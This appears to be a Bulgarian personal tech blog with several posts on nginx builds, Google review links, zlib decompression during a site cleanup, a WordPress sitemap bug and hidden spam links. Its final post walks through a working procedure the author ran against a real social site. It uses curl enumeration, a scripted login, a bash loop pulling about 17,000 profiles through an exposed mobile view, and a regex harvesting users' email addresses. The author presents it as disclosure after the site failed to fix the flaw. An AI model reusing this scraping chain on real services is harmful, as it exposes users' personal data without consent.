HTTP debugger

Понякога човек се нуждае от услуги който надежно да използва докато праща заявки нагоре-надолу към други услуги. Разбира се… не винаги може да се дебъгне точно какво и как се изпраща нагоре, особенно когато заявките са криптирани.

И тук на помощ идва HTTPBIN. Със негова помощ може доста по-лесно да се диагностицират заявките и да се преработят.

Enabling HTTP/2 on nginx over Amazon AMI

Една от любимите oперационни системи на Amazon EC2 е тяхната Amazon AMI. Разбира се няма нищо по-хубаво когато производителя на хардуера ти доставя оптимизиран софтуер за него. УВИ има няколко проблема като най-големия е, че отделни модули са доста стари. Това е защото AMI използва някакъв миш-маш от няколко операционни системи – RHEL6, RHEL7 и дори Fedora. Във моя случай nginx е версия 1.8, но за да активирам HTTP/2 се нуждая поне от версия 1.9.5 (докато актуалната е 1.10.1). Разбира се ако изчакам още някой месец може и да ме огрее… но чакам вече година и ми писна. Затова взех нещата във свои ръце и си прекомпилирах своя версия на nginx.

1. Инсталирайте nginx – ще ви спести поне писане на конфигурационни файлове. Конфигурирайте си го по свой вкус.
2. sudo yum install pcre-devel openssl-devel #библиотечки… ще ви потрябват
3. wget http://nginx.org/download/nginx-1.10.1.tar.gz
4. tar zxvf nginx-1.10.1.tar.gz
5. cd nginx-1.10.1
6. ./configure –prefix=/usr/share/nginx –sbin-path=/usr/sbin/nginx –conf-path=/etc/nginx/nginx.conf –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log –http-client-body-temp-path=/var/lib/nginx/tmp/client_body –http-proxy-temp-path=/var/lib/nginx/tmp/proxy –http-fastcgi-temp-path=/var/lib/nginx/tmp/fastcgi –http-uwsgi-temp-path=/var/lib/nginx/tmp/uwsgi –http-scgi-temp-path=/var/lib/nginx/tmp/scgi –pid-path=/var/run/nginx.pid –lock-path=/var/lock/subsys/nginx –user=nginx –group=nginx –with-file-aio –with-ipv6 –with-http_ssl_module –with-http_realip_module –with-http_addition_module –with-http_sub_module –with-http_dav_module –with-http_flv_module –with-http_mp4_module –with-http_gunzip_module –with-http_gzip_static_module –with-http_random_index_module –with-http_secure_link_module –with-http_degradation_module –with-http_stub_status_module –with-mail –with-mail_ssl_module –with-http_v2_module –with-pcre –with-pcre-jit –with-debug –with-cc-opt=’-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector –param=ssp-buffer-size=4 -m64 -mtune=generic’ –with-ld-opt=’ -Wl,-E’
7. make
8. /etc/init.d/nginx stop
9. sudo cp objs/nginx /usr/sbin
10. /etc/init.d/nginx start

ВАЖНО! Ако обновление ви презапише по-стара версия на nginx ще се наложи да изпълните точка 9 поне още веднъж. Защото това е един дърт пач върху оригиналния nginx.

Сега вече ако напишете nginx -V ще видите нейде:
nginx version: nginx/1.10.1

Оттук насетне е лесно. Отивате във конфигурационния файл и издирвате това:
listen 443 ssl;
за да го замените със:
listen 443 ssl http2;

Честито! Вече имате работещ nginx със http/2.

Забележка!!! Оригиналния nginx във AMI е компилиран със малко повечко опции. Липсващите са:
–with-http_xslt_module
–with-http_image_filter_module
–with-http_geoip_module
–with-http_perl_module
–with-google_perftools_module
но аз така или иначе не ги използвам тях.

Google Business Page линк за писане на ревю

Онлайн ревюта е един от начините за подпомагане на потребителите при процеса на избор на услуга или доставчик. Все пак никой не иска да работи със такива имащи една или две звезди придружени със съсипващо текстово ревю. А между другото е и инструмент за сладко отмъщение, всички знаем много примери как фирмите изведнъж стават отзивчиви при негативни ревюта из интернета.

Как обаче да се подпомогне писането на ревюта към Google Business Page? Реално след масивните обновления на интерфейса вече това е невъзможно със директен линк и потребителите са затруднени. Сега ще ви покажа как това може да се случи лесно и просто със помоща на Google Maps. За пример ще използваме магазина на нашите приятели от Aloha.bg.

За да изкараме пряк линк ние се нуждаем от 3 неща:
1. Име на страницата/бизнеса
2. ludoCID – цифри
3. LRD – цифри

Проблема обаче е вземането на ludoCID и LRD. Сега ще ви покажа как можете бързо, лесно и просто да ги вземете:
1. Отваряте Google Maps на настолен компютър
2. Намирате името на страницата/бизнеса. Във нашия случай е Aloha Bulgaria. И търсите за него.
3. Отивате където са ревютата и копирате линка.
Вземане на ludoCID и LRD от Google Maps за ревю
4. Махате ,1 отзад (може да е и нещо друго) и дописвате ,3,5
5. Успех! Нашия финален линк е следния
https://www.google.bg/search?q=%D0%90%D0%BB%D0%BE%D1%85%D0%B0+(Aloha+Bulgaria),+ul.+%22Pirin%22+77%D0%91,+1680+Sofia&ludocid=1486783925008404561#lrd=0x40aa84ea6165b697:0x14a21e1a3be31051,3,5
6. Резултат от посещението на горния линк
Форма за писане на ревю към Google Business Page

Трик N:1 – горния линк можете да го залепите нейде из футъра на сайта със някаква интересна картинка “Напишете ни ревю във Google”

Трик N:2 – линка също така може да бъде скъсен със използване на goo.gl и да се закачи един Analytics Event за отчитане на кликовете към него.

ВАЖНО: Моля не използвайте този метод за лоши цели. Видовден винаги идва!

Последният войнишки император

Тъй като напоследък не съм се разписал, но непрекъснато чета това и онова е време да започна да ги складирам нейде. И времето дойде.

Последният войнишки император – част 1
Последният войнишки император – част 2
Последният войнишки император – част 3

Общо взето се чете на един дъх и е много завладяващо. Няма да ви развалям удоволствието със разкрития какво се случва. Само става въпрос за иманяри и императори.

Restarting Firefox

Току-що открих как може да се рестартира Firefox без да се загуби нищо.

  1. Натискате Shift-F2. За Mac е Fn-Shift-F2.
  2. Във конзолата която излиза пишете restart

Това е.

zlib extraction

Снощи докато чистех един сайт от вируси намерих интересна директорна структура която просто не и беше мястото там (директория със транслации на javascript) със над 9999 файла и един добре обфускиран PHP скрипт. Разбира се любопитството ми проработи и преглеждането на файловете със шестнадесетичен редактор не даде никакъв резултат – или бяха криптирани или компресирани. Общото беше че всички файлове започваха със 0x78 0x9c. Опитите да видя какво е със file (*nix инструмент показващ типа на файла) не дадоха резултат. Но търсачките веднага разконспирираха, че това е zlib компресиран поток. Това ми разпали още повече любопитството да видя какво има във горните файлове.

Опитах да ги разкомпресирам със gunzip. Не се получи защото gzip използва zlib за компресия, но тогава файла започва със 0x1f 0x8b 0x08 и след няколко байта е самия zlib поток. Мързеше ме да си компилирам програма за разкомпресиране на zlib, можех да спретна и нещо на скриптов език. Но бях убеден че има и далеч по-лесен начин.

ИМА! Цялата магия се осъществява със следния “магически” ред:
printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" |cat - zlib.raw |gzip -dc
което ми спести няколко цени минути. Има и още един подобен трик със openssl (и двата правят едно и също просто разликата е във самия синтаксис):
openssl zlib -d < zlib.raw
openssl zlib -d -in zlib.raw

Резултата – видях съдържанието на файловете което беше вече първото реално доказателство за наличие на пробив във сайта. И за пореден път се убедих че от *nix-а по-голямо няма.

W3TC and Yoast SEO sitemap problem

Проблем със генерирането на sitemap под WordPress

WordPress е много хубава CMS система и работи out-of-box. Но за да работи още по-добре се слагат разни плъгини, уиджети, модули и други благинки. Сега ще ви покажа как 2 перфектни и много известни плъгини се сбиват и правят живота ви със една идея по-труден дори при генерирането на един прост sitemap. От дълго време ползвам W3TC както и Yoast SEO. И двата плъгина са лидери във своята област и всекидневно се използват от милиони блогове. За съжаление има малка уловка при тях която се отразява на XML sitemap-a.

От известно време забелязах че сайтмапа ми веднъж се появява така:

correct-yoast-seo-sitemapдруг път така:

broken-yoast-seo-sitemapПоради липса на време (и интерес) не обърнах внимание защо и как се получава това. Отделно роботите продължават да ми посещават сайта без проблем, все едно няма такъв. Обаче има проблем: веднъж когато работи сайта ми връща text/xml, друг път text/html. В момента работя разни неща за проверка на sitemap и не ми трябва просто някакъв сайтмап, ами ми трябва перфектният сайтмап.

След 30 минутно разследване се оказа че когато съм логнат винаги виждам нещата перфектно независимо колко пъти ги презаредя. Когато изляза и почистя W3TC кеша ги виждам перфектно веднъж като xml, след което при презареждане ми се сервират html файлове. Което е сигурен признак, че проблема е нейде във W3TC.

Малко предистория
W3TC има няколко режима на работа от които на мен най-ми харесва Disk: Enhanced. Във този режим готовите страници се записват на диска и със няколко ловки пренасочвания със .htaccess или nginx правила се достъпват. Това е един от най-добрите режими защото веднъж след като WordPress и PHP генерират страницата повече не се изпълнява нито ред код от тях. На практика дори WP/PHP не знаят че страницата е достъпвана след като я генерират. Единственния вариант да се достъпи е когато човек се логне или когато кеша се инвалидира. Другия вариант е Disk: Basic, но там веднъж след като се генерира страницата и се записва после достъпа пак минава през WP/PHP. Там плюса е че не се извикват всички плъгини и модули за целта и направо се връща готовата страница. На практика плъгина Hyper Cache Extended на Marto Lazarov прави същата функционалност. Другия подобен плъгин е WP Super Cache на Donncha O Caoimh, но той е малко по-комплексен и съчетава едновременно Basic и Еnhanced.

Сега Disk: Enhanced след като генерира файла го обслужва със серия правила за web server-a. Но проблема е че по дефиниция той приема че всички кеширани файлове са text/html докато във моя случай трябва да връща text/xml. За да бъде хаоса пълен тези файлове не съществуват физически на диска а WordPress ги виртуализира през едно негово API. Yoast SEO ги генерира от базата данни и ги връща на клиента. Затова и W3TC ги прихваща.

Разбира се W3TC има правила при които може да се изключи файл от кеширането. При мен просто във Performance -> Page Cache -> Never cache the following pages:

sitemap_index\.xml
main-sitemap\.xsl
post-sitemap\.xml
page-sitemap\.xml
category-sitemap\.xml
author-sitemap\.xml
post_tag-sitemap\.xml

При вас разбира се може файловете малко да се различават. Затова отворете sitemap_index.xml и добавете във горния списък необходимите файлове.

Разбира се всичко зависи от настройките на плъгините и на практика ставате жертва на обстоятелствата. И двата плъгина работят чудесно по отделно, но при определени настройки нещата се чупят когато са заедно. Разбира се това работи във моя случай. Обаче ако сте активирали минифицирането и конкатинирането на файловете е напълно възможно също да счупите генерирането на сайтмап.

Извода е, че колкото по-голям и комплексен е даден плъгин толкова по-голяма е вероятността да повреди нещо друго. И винаги проверявайте какво се случва след плъгините. Понякога малки и незначителни на вид неща имат катастрофални последици.

trackback-spam

Спам линкбилдинг техники

Днес докато разглеждах сайта на доставчика ми (Networx) от мобилно устройство за да открия тарифата за безжичен интернет забелязах че докато зарежда за части от секундата видях текст “стоматолог в русе”. Но когато страницата се зареди вече нямаше такъв текст. Разбира се любопитството ми проработи и когато седнах на компютър направих нова проверка.

Резултата беше категоричен. Линк има във кода:
Screen shot 2015-03-21 at 23.58.09
Но във DOM линка изчезва:
Screen shot 2015-03-22 at 01.34.01

Тук вече любопитството ми заработи на пълни обороти. Има няколко начина да се скрие линк като се направи невидим – като се сложи за цвят цвета на фона, като се направи със много малък шрифт, като се скрие зад друг елемент и още няколко подобни похвати описани по-подробно на линка тук. Разбира се описано е много добре:

Hiding text or links in your content to manipulate Google’s search rankings can be seen as deceptive and is a violation of Google’s Webmaster Guidelines.

Понеже Google не са всемогъщи те имат една форма за подаване на сигнал към екипа за уеб спам която се намира тук. Разбира се никой не е открил топлата вода. Подобни условия имат Bing и Yandex

Но това са разни CSS похвати които са сравнително лесно може да се открият. Във моя случай текста просто изчезваше което говореше за използване на JavaScript код. За щастие целия текст е обграден от един span елемент с много специфичен идентификатор което предполага използването му за почистването. Тук вече късметът ми изневери малко. Сайта имаше 20 JS скрипта и 11 CSS файла и не ми се търсеше всичко файл-по-файл. За мое щастие във инструментите за разработчици има възможност да се търси текст във всички файлове. Така лошия код много лесно беше разгадан:
Screen shot 2015-03-22 at 00.21.37

Хмм… Разгледах няколко страници от сайта им и на всички намерих горния код. На пръв поглед изглежда някой е хакнал моя интернет доставчик като му е сложил 4 реда нейде из WordPress темата. Една проверка във OpenSiteExplorer за линка показа, че и още един сайт има същия линк:
Screen shot 2015-03-22 at 00.31.37 Проблема е че RuseNews също е на Networx и изглежда и той беше пострадал. Втория проблем е, че OSE работи доста бавно за откриване на нови линкове поради специфика на самия инструмент. Затова една бърза проверка във OpenLinkProfiler разкрива малко повече подробности:
Screen shot 2015-03-22 at 00.51.04Screen shot 2015-03-22 at 00.51.19

Явно не само Networx са пострадалите от тази линкбилдинг техника. Уви тази техника е непозволена и може да доведе до наказания на всички сайтове участващи във схемата. Аз няма да рапортувам сайтовете във тази порочна схема, но не мога да гарантирам че някой читател няма да направи това. Освен това нарочно използвам снимки за да не им правя неволен линкбилдинг.

Затова винаги си проверявайте сайтовете през някакъв период от време за изходящи и входящи линкове. Понякога няколко минути работа може да доведат до резултати многократно надхвърлащи очакванията.

Hacking Edno23 with opensource tools

Хакване на Edno23

Важно 2: Във curl командите за вход е отстранена малка грешка.

Важно 1: По-малко от час след написването на настоящето проблема беше отстранен. Благодарим на администрацията за бързата реакция.

Лятото на 2014 забелязах, че във мобилната версия на Edno23 има особенност която позволява да се види мейла на кой-да-е потребител във системата. Алармирах администрацията на сайта които ми отговориха, че това било от темата и били знаели за него. Изчаках търпеливо няколко (9) месеца, но проблема си стоеше неотстранен. И една вечер ми хрумна да им смъкна всичките мейли на регистираните им потребители. Сега ще ви покажа как беше реализирано всичко това за 5 минути.

Първата задачка беше да се смъкнат списъците на всички налични потребители. Списъка на всички потребители се намира тук:
http://edno23.eu/members
но има и 2,3 и общо 713 страници:
http://edno23.eu/members/tab:all/pg:2
http://edno23.eu/members/tab:all/pg:3
http://edno23.eu/members/tab:all/pg:4

http://edno23.eu/members/tab:all/pg:713

Това се изпълнява много лесно само със един ред:

curl http://edno23.eu/members/tab:all/pg:[1-713] -o "profiles-pg#1.txt"

При това не е необходимо човек да бъде логнат във сайта за да достъпи този списък. След операцията във папката ще има сумарно 713 текстови файлове със съдържанието на потребителите. Във всеки един от текстовите файлове има до 24 потребителя. След бърз преглед установяваме как линковете към потребителите имат добавен клас groupname или groupavatar. За наша радост egrep има удобна фукнция за филтриране на файлове на базата на regex шаблон:

egrep -h -o "http://edno23.eu/.*\" class=\"groupname\"" profiles-pg*.txt

разбира се извеждането във конзолата е леко досадно затова си го пренасочваме към файл ето така:

egrep -h -o "http://edno23.eu/.*\" class=\"groupname\"" profiles-pg*.txt > full-list-users

след което трябва да отворим файла full-list-users и да премахнем ето това
” class=”groupname”
от всички редове и честито. Току-що получихме списък на линковете към профилите на всички потребители на сайта.

Втората задачка беше да вземем самите мейли от всеки един потребител. Тук вече късмета малко ми поизневери. Трябваше да намеря начин да вляза във сайта за да мога да смъкна информацията. За моя радост curl имаха решение и на този проблем:

curl -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

така правим посещение на логин формата. Сега ще въведем потребителското име и паролата:

curl --data "email=EMAIL&password=PASSWORD&rememberme=1" -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

Съдържаниято на login.txt трябва след горната операция трябва да има линк към:

http://edno23.eu/m/dashboard

Което е сигурен сигнал, че сме влезли напълно редовно и можем да започнем със събирането на информацията ни. Нека сега да направим и автоматизация смъкването на информацията:

#!/bin/bash
echo enter file name
read fname
exec<$fname
while read line
do
AFTER_SLASH=${line##*/}
echo $AFTER_SLASH
url="http://edno23.eu/m/${AFTER_SLASH%%\?*}/show:info"
curl -o $AFTER_SLASH.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" $url
done

Горния bash скрипт се записва като dump_users.sh. Дават му се права за изпълнение (chmod +x dump_users.sh) и си го изпълняваме. Скрипта ще помоли за име на входния файл със потребителите при което му подаваме файла full-list-users като вход и започва голямото смъкване. Ако цялата операция премине успешно ще имаме папка със около 17000 файла със шаблона username.txt. Това ще трае може би няколко часа във зависимост от интернет достъпа ви, затова се въоръжете със малко търпение.

Третата задачка беше най-сладката… да съберем мейлите от вече смъкнатите профили:

egrep -h -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" *.txt

тук обаче се натъкваме на нов проблем. Някой от файловете имат мейла два пъти което лесно се фиксира със един sort -u:

egrep -h -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" *.txt | sort -u

Както сами виждате няма нищо сложно във горните команди. На практика не са нищо повече от извикване на curl, egrep и bash със няколко параметъра, което е доста добре за потребителите на *nix и клонинзите. Ако работите под Windows навярно ще трябва да използвате bash от Cygwin или със лека преработка PowerShell. Разбира се аз няма да ви дам на готово списък със мейлите на потребителите. И най-забавното във целия случай е че според правилата на сайта описани тук http://edno23.eu/terms всичко си е напълно коректно:

Запазваме правото си да деактивираме или изтриваме профили, направени изцяло с рекламна цел. Извиняваме се, но никой не ги иска на този етап, включително и ние.